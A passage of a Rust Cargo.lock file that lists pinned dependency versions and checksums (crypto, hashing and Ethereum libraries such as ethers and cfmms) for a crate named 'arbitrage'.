| version = "0.11.4" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fe438c63458706e03479442743baae6c88256498e6431708f6dfc520a26515d3" 10 | dependencies = [ 11 | "lazy_static", 12 | "regex", 13 | ] 14 | 15 | [[package]] 16 | name = "adler" 17 | version = "1.0.2" 18 | source = "registry+https://github.com/rust-lang/crates.io-index" 19 | checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" 20 | 21 | [[package]] 22 | name = "aes" 23 | version = "0.7.5" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "9e8b47f52ea9bae42228d07ec09eb676433d7c4ed1ebdf0f1d1c29ed446f1ab8" 26 | dependencies = [ 27 | "cfg-if", 28 | "cipher 0.3.0", 29 | "cpufeatures", 30 | "opaque-debug 0.3.0", 31 | ] 32 | 33 | [[package]] 34 | name = "aes" 35 | version = "0.8.2" 36 | source = "registry+https://github.com/rust-lang/crates.io-index" 37 | checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241" 38 | dependencies = [ 39 | "cfg-if", 40 | "cipher 0.4.3", 41 | "cpufeatures", 42 | ] 43 | 44 | [[package]] 45 | name = "aho-corasick" 46 | version = "0.7.20" 47 | source = "registry+https://github.com/rust-lang/crates.io-index" 48 | checksum = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac" 49 | dependencies = [ 50 | "memchr", 51 | ] 52 | 53 | [[package]] 54 | name = "android_system_properties" 55 | version = "0.1.5" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" 58 | dependencies = [ 59 | "libc", 60 | ] 61 | 62 | [[package]] 63 | name = "anyhow" 64 | version = "1.0.68" 65 | source = "registry+https://github.com/rust-lang/crates.io-index" 66 | checksum = "2cb2f989d18dd141ab8ae82f64d1a8cdd37e0840f73a406896cf5e99502fab61" 67 | 68 | [[package]] 69 | name = "arbitrage" 70 | version = "0.1.0" 71 | dependencies = [ 72 | "async-trait", 73 | "cfmms", 74 | "dotenv", 75 | "ethers", 76 | "ethers-flashbots", 77 | "futures", 78 | "tokio", 79 | "url", 80 | ] 81 | 82 | [[package]] 83 | name = "arrayvec" 84 | version = "0.7.2" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 87 | 88 | [[package]] 89 | name = "ascii-canvas" 90 | version = "3.0.0" 91 | source = "registry+https://github.com/rust-lang/crates.io-index" 92 | checksum = "8824ecca2e851cec16968d54a01dd372ef8f95b244fb84b84e70128be347c3c6" 93 | dependencies = [ 94 | "term", 95 | ] 96 | 97 | [[package]] 98 | name = "async-trait" 99 | version = "0.1.64" 100 | source = "registry+https://github.com/rust-lang/crates.io-index" 101 | checksum = "1cd7fce9ba8c3c042128ce72d8b2ddbf3a05747efb67ea0313c635e10bda47a2" 102 | dependencies = [ 103 | "proc-macro2", 104 | "quote", 105 | "syn", 106 | ] 107 | 108 | [[package]] 109 | name = "async_io_stream" 110 | version = "0.3.3" 111 | source = "registry+https://github.com/rust-lang/crates.io-index" 112 | checksum = "b6d7b9decdf35d8908a7e3ef02f64c5e9b1695e230154c0e8de3969142d9b94c" 113 | dependencies = [ 114 | "futures", 115 | "pharos", 116 | "rustc_version", 117 | ] 118 | 119 | [[package]] 120 | name = "atty" 121 | version = "0.2.14" 122 | source = "registry+https://github.com/rust-lang/crates.io-index" 123 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 124 | dependencies = [ 125 | "hermit-abi", 126 | "libc", 127 | "winapi", 128 | ] 129 | 130 | [[package]] 131 | name = "auto_impl" 132 | version = "0.5.0" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "7862e21c893d65a1650125d157eaeec691439379a1cee17ee49031b79236ada4" 135 | dependencies = [ 136 | "proc-macro-error", 137 | "proc-macro2", 138 | "quote", 139 | "syn", 140 | ] 141 | 142 | [[package]] 143 | name = "auto_impl" 144 | version = "1.0.1" 145 | source = "registry+https://github.com/rust-lang/crates.io-index" 146 | checksum = "8a8c1df849285fbacd587de7818cc7d13be6cd2cbcd47a04fb1801b0e2706e33" 147 | dependencies = [ 148 | "proc-macro-error", 149 | "proc-macro2", 150 | "quote", 151 | "syn", 152 | ] 153 | 154 | [[package]] 155 | name = "autocfg" 156 | version = "1.1.0" 157 | source = "registry+https://github.com/rust-lang/crates.io-index" 158 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 159 | 160 | [[package]] 161 | name = "base16ct" 162 | version = "0.1.1" 163 | source = "registry+https://github.com/rust-lang/crates.io-index" 164 | checksum = "349a06037c7bf932dd7e7d1f653678b2038b9ad46a74102f1fc7bd7872678cce" 165 | 166 | [[package]] 167 | name = "base58" 168 | version = "0.1.0" 169 | source = "registry+https://github.com/rust-lang/crates.io-index" 170 | checksum = "5024ee8015f02155eee35c711107ddd9a9bf3cb689cf2a9089c97e79b6e1ae83" 171 | 172 | [[package]] 173 | name = "base58check" 174 | version = "0.1.0" 175 | source = "registry+https://github.com/rust-lang/crates.io-index" 176 | checksum = "2ee2fe4c9a0c84515f136aaae2466744a721af6d63339c18689d9e995d74d99b" 177 | dependencies = [ 178 | "base58", 179 | "sha2 0.8.2", 180 | ] 181 | 182 | [[package]] 183 | name = "base64" 184 | version = "0.12.3" 185 | source = "registry+https://github.com/rust-lang/crates.io-index" 186 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 187 | 188 | [[package]] 189 | name = "base64" 190 | version = "0.13.1" 191 | source = "registry+https://github.com/rust-lang/crates.io-index" 192 | checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" 193 | 194 | [[package]] 195 | name = "base64ct" 196 | version = "1.5.3" 197 | source = "registry+https://github.com/rust-lang/crates.io-index" 198 | checksum = "b645a089122eccb6111b4f81cbc1a49f5900ac4666bb93ac027feaecf15607bf" 199 | 200 | [[package]] 201 | name = "bech32" 202 | version = "0.7.3" 203 | source = "registry+https://github.com/rust-lang/crates.io-index" 204 | checksum = "2dabbe35f96fb9507f7330793dc490461b2962659ac5d427181e451a623751d1" 205 | 206 | [[package]] 207 | name = "bincode" 208 | version = "1.3.3" 209 | source = "registry+https://github.com/rust-lang/crates.io-index" 210 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 211 | dependencies = [ 212 | "serde", 213 | ] 214 | 215 | [[package]] 216 | name = "bit-set" 217 | version = "0.5.3" 218 | source = "registry+https://github.com/rust-lang/crates.io-index" 219 | checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1" 220 | dependencies = [ 221 | "bit-vec", 222 | ] 223 | 224 | [[package]] 225 | name = "bit-vec" 226 | version = "0.6.3" 227 | source = "registry+https://github.com/rust-lang/crates.io-index" 228 | checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb" 229 | 230 | [[package]] 231 | name = "bitflags" 232 | version = "1.3.2" 233 | source = "registry+https://github.com/rust-lang/crates.io-index" 234 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 235 | 236 | [[package]] 237 | name = "bitvec" 238 | version = "0.17.4" 239 | source = "registry+https://github.com/rust-lang/crates.io-index" 240 | checksum = "41262f11d771fd4a61aa3ce019fca363b4b6c282fca9da2a31186d3965a47a5c" 241 | dependencies = [ 242 | "either", 243 | "radium 0.3.0", 244 | ] 245 | 246 | [[package]] 247 | name = "bitvec" 248 | version = "1.0.1" 249 | source = "registry+https://github.com/rust-lang/crates.io-index" 250 | checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" 251 | dependencies = [ 252 | "funty", 253 | "radium 0.7.0", 254 | "tap", 255 | "wyz", 256 | ] 257 | 258 | [[package]] 259 | name = "blake2" 260 | version = "0.10.5" 261 | source = "registry+https://github.com/rust-lang/crates.io-index" 262 | checksum = "b12e5fd123190ce1c2e559308a94c9bacad77907d4c6005d9e58fe1a0689e55e" 263 | dependencies = [ 264 | "digest 0.10.6", 265 | ] 266 | 267 | [[package]] 268 | name = "block-buffer" 269 | version = "0.7.3" 270 | source = "registry+https://github.com/rust-lang/crates.io-index" 271 | checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b" 272 | dependencies = [ 273 | "block-padding", 274 | "byte-tools", 275 | "byteorder", 276 | "generic-array 0.12.4", 277 | ] 278 | 279 | [[package]] 280 | name = "block-buffer" 281 | version = "0.9.0" 282 | source = "registry+https://github.com/rust-lang/crates.io-index" 283 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 284 | dependencies = [ 285 | "generic-array 0.14.6", 286 | ] 287 | 288 | [[package]] 289 | name = "block-buffer" 290 | version = "0.10.3" 291 | source = "registry+https://github.com/rust-lang/crates.io-index" 292 | checksum = "69cce20737498f97b993470a6e536b8523f0af7892a4f928cceb1ac5e52ebe7e" 293 | dependencies = [ 294 | "generic-array 0.14.6", 295 | ] 296 | 297 | [[package]] 298 | name = "block-padding" 299 | version = "0.1.5" 300 | source = "registry+https://github.com/rust-lang/crates.io-index" 301 | checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5" 302 | dependencies = [ 303 | "byte-tools", 304 | ] 305 | 306 | [[package]] 307 | name = "bs58" 308 | version = "0.4.0" 309 | source = "registry+https://github.com/rust-lang/crates.io-index" 310 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 311 | 312 | [[package]] 313 | name = "bumpalo" 314 | version = "3.11.1" 315 | source = "registry+https://github.com/rust-lang/crates.io-index" 316 | checksum = "572f695136211188308f16ad2ca5c851a712c464060ae6974944458eb83880ba" 317 | 318 | [[package]] 319 | name = "byte-slice-cast" 320 | version = "1.2.2" 321 | source = "registry+https://github.com/rust-lang/crates.io-index" 322 | checksum = "c3ac9f8b63eca6fd385229b3675f6cc0dc5c8a5c8a54a59d4f52ffd670d87b0c" 323 | 324 | [[package]] 325 | name = "byte-tools" 326 | version = "0.3.1" 327 | source = "registry+https://github.com/rust-lang/crates.io-index" 328 | checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7" 329 | 330 | [[package]] 331 | name = "byteorder" 332 | version = "1.4.3" 333 | source = "registry+https://github.com/rust-lang/crates.io-index" 334 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 335 | 336 | [[package]] 337 | name = "bytes" 338 | version = "1.3.0" 339 | source = "registry+https://github.com/rust-lang/crates.io-index" 340 | checksum = "dfb24e866b15a1af2a1b663f10c6b6b8f397a84aadb828f12e5b289ec23a3a3c" 341 | dependencies = [ 342 | "serde", 343 | ] 344 | 345 | [[package]] 346 | name = "bzip2" 347 | version = "0.4.3" 348 | source = "registry+https://github.com/rust-lang/crates.io-index" 349 | checksum = "6afcd980b5f3a45017c57e57a2fcccbb351cc43a356ce117ef760ef8052b89b0" 350 | dependencies = [ 351 | "bzip2-sys", 352 | "libc", 353 | ] 354 | 355 | [[package]] 356 | name = "bzip2-sys" 357 | version = "0.1.11+1.0.8" 358 | source = "registry+https://github.com/rust-lang/crates.io-index" 359 | checksum = "736a955f3fa7875102d57c82b8cac37ec45224a07fd32d58f9f7a186b6cd4cdc" 360 | dependencies = [ 361 | "cc", 362 | "libc", 363 | "pkg-config", 364 | ] 365 | 366 | [[package]] 367 | name = "camino" 368 | version = "1.1.1" 369 | source = "registry+https://github.com/rust-lang/crates.io-index" 370 | checksum = "88ad0e1e3e88dd237a156ab9f571021b8a158caa0ae44b1968a241efb5144c1e" 371 | dependencies = [ 372 | "serde", 373 | ] 374 | 375 | [[package]] 376 | name = "cargo-platform" 377 | version = "0.1.2" 378 | source = "registry+https://github.com/rust-lang/crates.io-index" 379 | checksum = "cbdb825da8a5df079a43676dbe042702f1707b1109f713a01420fbb4cc71fa27" 380 | dependencies = [ 381 | "serde", 382 | ] 383 | 384 | [[package]] 385 | name = "cargo_metadata" 386 | version = "0.15.2" 387 | source = "registry+https://github.com/rust-lang/crates.io-index" 388 | checksum = "982a0cf6a99c350d7246035613882e376d58cebe571785abc5da4f648d53ac0a" 389 | dependencies = [ 390 | "camino", 391 | "cargo-platform", 392 | "semver", 393 | "serde", 394 | "serde_json", 395 | "thiserror", 396 | ] 397 | 398 | [[package]] 399 | name = "cc" 400 | version = "1.0.77" 401 | source = "registry+https://github.com/rust-lang/crates.io-index" 402 | checksum = "e9f73505338f7d905b19d18738976aae232eb46b8efc15554ffc56deb5d9ebe4" 403 | dependencies = [ 404 | "jobserver", 405 | ] 406 | 407 | [[package]] 408 | name = "cfg-if" 409 | version = "1.0.0" 410 | source = "registry+https://github.com/rust-lang/crates.io-index" 411 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 412 | 413 | [[package]] 414 | name = "cfmms" 415 | version = "0.4.0" 416 | source = "git+https://github.com/0xKitsune/cfmms-rs#f6c787ce834fd680fa9e30ca3799f398628fbcb6" 417 | dependencies = [ 418 | "async-trait", 419 | "ethers", 420 | "futures", 421 | "indicatif 0.17.3", 422 | "num-bigfloat", 423 | "serde", 424 | "serde_json", 425 | "thiserror", 426 | "tokio", 427 | "uniswap_v3_math", 428 | ] 429 | 430 | [[package]] 431 | name = "chrono" 432 | version = "0.4.23" 433 | source = "registry+https://github.com/rust-lang/crates.io-index" 434 | checksum = "16b0a3d9ed01224b22057780a37bb8c5dbfe1be8ba48678e7bf57ec4b385411f" 435 | dependencies = [ 436 | "iana-time-zone", 437 | "js-sys", 438 | "num-integer", 439 | "num-traits", 440 | "serde", 441 | "time 0.1.45", 442 | "wasm-bindgen", 443 | "winapi", 444 | ] 445 | 446 | [[package]] 447 | name = "cipher" 448 | version = "0.3.0" 449 | source = "registry+https://github.com/rust-lang/crates.io-index" 450 | checksum = "7ee52072ec15386f770805afd189a01c8841be8696bed250fa2f13c4c0d6dfb7" 451 | dependencies = [ 452 | "generic-array 0.14.6", 453 | ] 454 | 455 | [[package]] 456 | name = "cipher" 457 | version = "0.4.3" 458 | source = "registry+https://github.com/rust-lang/crates.io-index" 459 | checksum = "d1873270f8f7942c191139cb8a40fd228da6c3fd2fc376d7e92d47aa14aeb59e" 460 | dependencies = [ 461 | "crypto-common", 462 | "inout", 463 | ] 464 | 465 | [[package]] 466 | name = "clap" 467 | version = "3.2.23" 468 | source = "registry+https://github.com/rust-lang/crates.io-index" 469 | checksum = "71655c45cb9845d3270c9d6df84ebe72b4dad3c2ba3f7023ad47c144e4e473a5" 470 | dependencies = [ 471 | "atty", 472 | "bitflags", 473 | "clap_derive", 474 | "clap_lex", 475 | "indexmap", 476 | "once_cell", 477 | "strsim", 478 | "termcolor", 479 | "textwrap", 480 | ] 481 | 482 | [[package]] 483 | name = "clap_derive" 484 | version = "3.2.18" 485 | source = "registry+https://github.com/rust-lang/crates.io-index" 486 | checksum = "ea0c8bce528c4be4da13ea6fead8965e95b6073585a2f05204bd8f4119f82a65" 487 | dependencies = [ 488 | "heck", 489 | "proc-macro-error", 490 | "proc-macro2", 491 | "quote", 492 | "syn", 493 | ] 494 | 495 | [[package]] 496 | name = "clap_lex" 497 | version = "0.2.4" 498 | source = "registry+https://github.com/rust-lang/crates.io-index" 499 | checksum = "2850f2f5a82cbf437dd5af4d49848fbdfc27c157c3d010345776f952765261c5" 500 | dependencies = [ 501 | "os_str_bytes", 502 | ] 503 | 504 | [[package]] 505 | name = "codespan-reporting" 506 | version = "0.11.1" 507 | source = "registry+https://github.com/rust-lang/crates.io-index" 508 | checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e" 509 | dependencies = [ 510 | "termcolor", 511 | "unicode-width", 512 | ] 513 | 514 | [[package]] 515 | name = "coins-bip32" 516 | version = "0.7.0" 517 | source = "registry+https://github.com/rust-lang/crates.io-index" 518 | checksum = "634c509653de24b439672164bbf56f5f582a2ab0e313d3b0f6af0b7345cf2560" 519 | dependencies = [ 520 | "bincode", 521 | "bs58", 522 | "coins-core", 523 | "digest 0.10.6", 524 | "getrandom", 525 | "hmac", 526 | "k256", 527 | "lazy_static", 528 | "serde", 529 | "sha2 0.10.6", 530 | "thiserror", 531 | ] 532 | 533 | [[package]] 534 | name = "coins-bip39" 535 | version = "0.7.0" 536 | source = "registry+https://github.com/rust-lang/crates.io-index" 537 | checksum = "2a11892bcac83b4c6e95ab84b5b06c76d9d70ad73548dd07418269c5c7977171" 538 | dependencies = [ 539 | "bitvec 0.17.4", 540 | "coins-bip32", 541 | "getrandom", 542 | "hex", 543 | "hmac", 544 | "pbkdf2", 545 | "rand", 546 | "sha2 0.10.6", 547 | "thiserror", 548 | ] 549 | 550 | [[package]] 551 | name = "coins-core" 552 | version = "0.7.0" 553 | source = "registry+https://github.com/rust-lang/crates.io-index" 554 | checksum = "c94090a6663f224feae66ab01e41a2555a8296ee07b5f20dab8888bdefc9f617" 555 | dependencies = [ 556 | "base58check", 557 | "base64 0.12.3", 558 | "bech32", 559 | "blake2", 560 | "digest 0.10.6", 561 | "generic-array 0.14.6", 562 | "hex", 563 | "ripemd", 564 | "serde", 565 | "serde_derive", 566 | "sha2 0.10.6", 567 | "sha3", 568 | "thiserror", 569 | ] 570 | 571 | [[package]] 572 | name = "console" 573 | version = "0.14.1" 574 | source = "registry+https://github.com/rust-lang/crates.io-index" 575 | checksum = "3993e6445baa160675931ec041a5e03ca84b9c6e32a056150d3aa2bdda0a1f45" 576 | dependencies = [ 577 | "encode_unicode", 578 | "lazy_static", 579 | "libc", 580 | "regex", 581 | "terminal_size", 582 | "unicode-width", 583 | "winapi", 584 | ] 585 | 586 | [[package]] 587 | name = "console" 588 | version = "0.15.2" 589 | source = "registry+https://github.com/rust-lang/crates.io-index" 590 | checksum = "c050367d967ced717c04b65d8c619d863ef9292ce0c5760028655a2fb298718c" 591 | dependencies = [ 592 | "encode_unicode", 593 | "lazy_static", 594 | "libc", 595 | "terminal_size", 596 | "unicode-width", 597 | "winapi", 598 | ] 599 | 600 | [[package]] 601 | name = "const-oid" 602 | version = "0.9.1" 603 | source = "registry+https://github.com/rust-lang/crates.io-index" 604 | checksum = "cec318a675afcb6a1ea1d4340e2d377e56e47c266f28043ceccbf4412ddfdd3b" 605 | 606 | [[package]] 607 | name = "constant_time_eq" 608 | version = "0.1.5" 609 | source = "registry+https://github.com/rust-lang/crates.io-index" 610 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" 611 | 612 | [[package]] 613 | name = "convert_case" 614 | version = "0.4.0" 615 | source = "registry+https://github.com/rust-lang/crates.io-index" 616 | checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" 617 | 618 | [[package]] 619 | name = "convert_case" 620 | version = "0.6.0" 621 | source = "registry+https://github.com/rust-lang/crates.io-index" 622 | checksum = "ec182b0ca2f35d8fc196cf3404988fd8b8c739a4d270ff118a398feb0cbec1ca" 623 | dependencies = [ 624 | "unicode-segmentation", 625 | ] 626 | 627 | [[package]] 628 | name = "core-foundation" 629 | version = "0.9.3" 630 | source = "registry+https://github.com/rust-lang/crates.io-index" 631 | checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" 632 | dependencies = [ 633 | "core-foundation-sys", 634 | "libc", 635 | ] 636 | 637 | [[package]] 638 | name = "core-foundation-sys" 639 | version = "0.8.3" 640 | source = "registry+https://github.com/rust-lang/crates.io-index" 641 | checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" 642 | 643 | [[package]] 644 | name = "cpufeatures" 645 | version = "0.2.5" 646 | source = "registry+https://github.com/rust-lang/crates.io-index" 647 | checksum = "28d997bd5e24a5928dd43e46dc529867e207907fe0b239c3477d924f7f2ca320" 648 | dependencies = [ 649 | "libc", 650 | ] 651 | 652 | [[package]] 653 | name = "crc32fast" 654 | version = "1.3.2" 655 | source = "registry+https://github.com/rust-lang/crates.io-index" 656 | checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" 657 | dependencies = [ 658 | "cfg-if", 659 | ] 660 | 661 | [[package]] 662 | name = "crossbeam-channel" 663 | version = "0.5.6" 664 | source = "registry+https://github.com/rust-lang/crates.io-index" 665 | checksum = "c2dd04ddaf88237dc3b8d8f9a3c1004b506b54b3313403944054d23c0870c521" 666 | dependencies = [ 667 | "cfg-if", 668 | "crossbeam-utils", 669 | ] 670 | 671 | [[package]] 672 | name = "crossbeam-deque" 673 | version = "0.8.2" 674 | source = "registry+https://github.com/rust-lang/crates.io-index" 675 | checksum = "715e8152b692bba2d374b53d4875445368fdf21a94751410af607a5ac677d1fc" 676 | dependencies = [ 677 | "cfg-if", 678 | "crossbeam-epoch", 679 | "crossbeam-utils", 680 | ] 681 | 682 | [[package]] 683 | name = "crossbeam-epoch" 684 | version = "0.9.13" 685 | source = "registry+https://github.com/rust-lang/crates.io-index" 686 | checksum = "01a9af1f4c2ef74bb8aa1f7e19706bc72d03598c8a570bb5de72243c7a9d9d5a" 687 | dependencies = [ 688 | "autocfg", 689 | "cfg-if", 690 | "crossbeam-utils", 691 | "memoffset", 692 | "scopeguard", 693 | ] 694 | 695 | [[package]] 696 | name = "crossbeam-utils" 697 | version = "0.8.14" 698 | source = "registry+https://github.com/rust-lang/crates.io-index" 699 | checksum = "4fb766fa798726286dbbb842f174001dab8abc7b627a1dd86e0b7222a95d929f" 700 | dependencies = [ 701 | "cfg-if", 702 | ] 703 | 704 | [[package]] 705 | name = "crunchy" 706 | version = "0.2.2" 707 | source = "registry+https://github.com/rust-lang/crates.io-index" 708 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 709 | 710 | [[package]] 711 | name = "crypto-bigint" 712 | version = "0.4.9" 713 | source = "registry+https://github.com/rust-lang/crates.io-index" 714 | checksum = "ef2b4b23cddf68b89b8f8069890e8c270d54e2d5fe1b143820234805e4cb17ef" 715 | dependencies = [ 716 | "generic-array 0.14.6", 717 | "rand_core", 718 | "subtle", 719 | "zeroize", 720 | ] 721 | 722 | [[package]] 723 | name = "crypto-common" 724 | version = "0.1.6" 725 | source = "registry+https://github.com/rust-lang/crates.io-index" 726 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 727 | dependencies = [ 728 | "generic-array 0.14.6", 729 | "typenum", 730 | ] 731 | 732 | [[package]] 733 | name = "ctr" 734 | version = "0.9.2" 735 | source = "registry+https://github.com/rust-lang/crates.io-index" 736 | checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" 737 | dependencies = [ 738 | "cipher 0.4.3", 739 | ] 740 | 741 | [[package]] 742 | name = "cxx" 743 | version = "1.0.85" 744 | source = "registry+https://github.com/rust-lang/crates.io-index" 745 | checksum = "5add3fc1717409d029b20c5b6903fc0c0b02fa6741d820054f4a2efa5e5816fd" 746 | dependencies = [ 747 | "cc", 748 | "cxxbridge-flags", 749 | "cxxbridge-macro", 750 | "link-cplusplus", 751 | ] 752 | 753 | [[package]] 754 | name = "cxx-build" 755 | version = "1.0.85" 756 | source = "registry+https://github.com/rust-lang/crates.io-index" 757 | checksum = "b4c87959ba14bc6fbc61df77c3fcfe180fc32b93538c4f1031dd802ccb5f2ff0" 758 | dependencies = [ 759 | "cc", 760 | "codespan-reporting", 761 | "once_cell", 762 | "proc-macro2", 763 | "quote", 764 | "scratch", 765 | "syn", 766 | ] 767 | 768 | [[package]] 769 | name = "cxxbridge-flags" 770 | version = "1.0.85" 771 | source = "registry+https://github.com/rust-lang/crates.io-index" 772 | checksum = "69a3e162fde4e594ed2b07d0f83c6c67b745e7f28ce58c6df5e6b6bef99dfb59" 773 | 774 | [[package]] 775 | name = "cxxbridge-macro" 776 | version = "1.0.85" 777 | source = "registry+https://github.com/rust-lang/crates.io-index" 778 | checksum = "3e7e2adeb6a0d4a282e581096b06e1791532b7d576dcde5ccd9382acf55db8e6" 779 | dependencies = [ 780 | "proc-macro2", 781 | "quote", 782 | "syn", 783 | ] 784 | 785 | [[package]] 786 | name = "der" 787 | version = "0.6.0" 788 | source = "registry+https://github.com/rust-lang/crates.io-index" 789 | checksum = "13dd2ae565c0a381dde7fade45fce95984c568bdcb4700a4fdbe3175e0380b2f" 790 | dependencies = [ 791 | "const-oid", 792 | "zeroize", 793 | ] 794 | 795 | [[package]] 796 | name = "derive_more" 797 | version = "0.99.17" 798 | source = "registry+https://github.com/rust-lang/crates.io-index" 799 | checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" 800 | dependencies = [ 801 | "convert_case 0.4.0", 802 | "proc-macro2", 803 | "quote", 804 | "rustc_version", 805 | "syn", 806 | ] 807 | 808 | [[package]] 809 | name = "dialoguer" 810 | version = "0.8.0" 811 | source = "registry+https://github.com/rust-lang/crates.io-index" 812 | checksum = "c9dd058f8b65922819fabb4a41e7d1964e56344042c26efbccd465202c23fa0c" 813 | dependencies = [ 814 | "console 0.14.1", 815 | "lazy_static", 816 | "tempfile", 817 | "zeroize", 818 | ] 819 | 820 | [[package]] 821 | name = "diff" 822 | version = "0.1.13" 823 | source = "registry+https://github.com/rust-lang/crates.io-index" 824 | checksum = "56254986775e3233ffa9c4d7d3faaf6d36a2c09d30b20687e9f88bc8bafc16c8" 825 | 826 | [[package]] 827 | name = "digest" 828 | version = "0.8.1" 829 | source = "registry+https://github.com/rust-lang/crates.io-index" 830 | checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5" 831 | dependencies = [ 832 | "generic-array 0.12.4", 833 | ] 834 | 835 | [[package]] 836 | name = "digest" 837 | version = "0.9.0" 838 | source = "registry+https://github.com/rust-lang/crates.io-index" 839 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 840 | dependencies = [ 841 | "generic-array 0.14.6", 842 | ] 843 | 844 | [[package]] 845 | name = "digest" 846 | version = "0.10.6" 847 | source = "registry+https://github.com/rust-lang/crates.io-index" 848 | checksum = "8168378f4e5023e7218c89c891c0fd8ecdb5e5e4f18cb78f38cf245dd021e76f" 849 | dependencies = [ 850 | "block-buffer 0.10.3", 851 | "crypto-common", 852 | "subtle", 853 | ] 854 | 855 | [[package]] 856 | name = "dirs-next" 857 | version = "2.0.0" 858 | source = "registry+https://github.com/rust-lang/crates.io-index" 859 | checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" 860 | dependencies = [ 861 | "cfg-if", 862 | "dirs-sys-next", 863 | ] 864 | 865 | [[package]] 866 | name = "dirs-sys-next" 867 | version = "0.1.2" 868 | source = "registry+https://github.com/rust-lang/crates.io-index" 869 | checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" 870 | dependencies = [ 871 | "libc", 872 | "redox_users", 873 | "winapi", 874 | ] 875 | 876 | [[package]] 877 | name = "dotenv" 878 | version = "0.15.0" 879 | source = "registry+https://github.com/rust-lang/crates.io-index" 880 | checksum = "77c90badedccf4105eca100756a0b1289e191f6fcbdadd3cee1d2f614f97da8f" 881 | 882 | [[package]] 883 | name = "dunce" 884 | version = "1.0.3" 885 | source = "registry+https://github.com/rust-lang/crates.io-index" 886 | checksum = "0bd4b30a6560bbd9b4620f4de34c3f14f60848e58a9b7216801afcb4c7b31c3c" 887 | 888 | [[package]] 889 | name = "ecdsa" 890 | version = "0.14.8" 891 | source = "registry+https://github.com/rust-lang/crates.io-index" 892 | checksum = "413301934810f597c1d19ca71c8710e99a3f1ba28a0d2ebc01551a2daeea3c5c" 893 | dependencies = [ 894 | "der", 895 | "elliptic-curve", 896 | "rfc6979", 897 | "signature", 898 | ] 899 | 900 | [[package]] 901 | name = "either" 902 | version = "1.8.0" 903 | source = "registry+https://github.com/rust-lang/crates.io-index" 904 | checksum = "90e5c1c8368803113bf0c9584fc495a58b86dc8a29edbf8fe877d21d9507e797" 905 | 906 | [[package]] 907 | name = "elliptic-curve" 908 | version = "0.12.3" 909 | source = "registry+https://github.com/rust-lang/crates.io-index" 910 | checksum = "e7bb888ab5300a19b8e5bceef25ac745ad065f3c9f7efc6de1b91958110891d3" 911 | dependencies = [ 912 | "base16ct", 913 | "crypto-bigint", 914 | "der", 915 | "digest 0.10.6", 916 | "ff", 917 | "generic-array 0.14.6", 918 | "group", 919 | "pkcs8", 920 | "rand_core", 921 | "sec1", 922 | "subtle", 923 | "zeroize", 924 | ] 925 | 926 | [[package]] 927 | name = "ena" 928 | version = "0.14.0" 929 | source = "registry+https://github.com/rust-lang/crates.io-index" 930 | checksum = "d7402b94a93c24e742487327a7cd839dc9d36fec9de9fb25b09f2dae459f36c3" 931 | dependencies = [ 932 | "log", 933 | ] 934 | 935 | [[package]] 936 | name = "encode_unicode" 937 | version = "0.3.6" 938 | source = "registry+https://github.com/rust-lang/crates.io-index" 939 | checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" 940 | 941 | [[package]] 942 | name = "encoding_rs" 943 | version = "0.8.31" 944 | source = 